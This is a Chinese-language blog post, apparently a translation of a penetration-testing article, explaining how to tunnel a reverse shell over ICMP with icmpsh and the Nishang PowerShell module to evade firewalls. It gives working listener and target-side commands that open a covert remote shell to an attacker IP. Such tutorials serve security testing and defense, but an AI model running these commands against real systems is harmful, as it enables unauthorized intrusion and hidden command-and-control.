通過ICMP協議反彈SHELL並執行命令

FLy_鵬程萬里發表於2018-05-23

前言

內網中的大多數系統都位於防火牆和企業代理之後,以便控制入口以及出口流量。防火牆可以攔截到反連的shell,但ICMP協議基本上是不攔截的。因此,為了獲得shell並在目標主機上執行命令,可以使用ICMP協議作為隱藏通道進行連線。
使用icmpsh(https://github.com/inquisb/icmpsh)工具可用來執行此攻擊。推特上的大牛@Bernardo Damele已經將其匯入到他的工具sqlmap中,可以使用-os-pwn選項來發起攻擊。

以下命令將禁止ICMP回顯,這對於工具正常使用是至關重要的,啟動一個監聽器,該監聽器將等待目標主機的ICMP資料包:

sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4


icmpsh工具中還包含需要在目標主機上傳輸和執行的二進位制檔案。以下命令將向監聽主機傳送ICMP包:

icmpsh.exe -t 192.168.100.3


一個shell將通過ICMP接收,並且也可以通過這個管道來執行命令。

Daniel Compton(https://twitter.com/commonexploits)開發了一個自動化過程的指令碼。此指令碼所需的唯一輸入是目標主機的IP地址。該指令碼包含在icmpsh(https://github.com/inquisb/icmpsh)中。


工具有多個選項命令和控制。


在Nishang框架中包含一個PowerShell模組,可以與icmpsh python指令碼結合使用,以獲取ICMP上的shell。在主機上,執行下面命令將會開始監聽ICMP資料包。

./icmpsh_m.py 192.168.100.3 192.168.100.4
在目標主機上,PowerShell的Icmp模組僅需要主IP地址:
Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.100.3

這個連結將會返回給主機一個shell


Resources

https://attack.mitre.org/wiki/Command_and_Control
http://bernardodamele.blogspot.co.uk/2011/04/reverse-connection-icmp-shell.html
https://github.com/inquisb/icmpsh
https://github.com/samratashok/nishang
http://leidecker.info/downloads/index.shtml
https://github.com/nocow4bob/PiX-C2
https://github.com/sincoder/icmp_shell
https://github.com/Darkpaw95/ICMP_Rev_shell

原文:https://pentestlab.blog/2017/07/28/command-and-control-icmp/


相關文章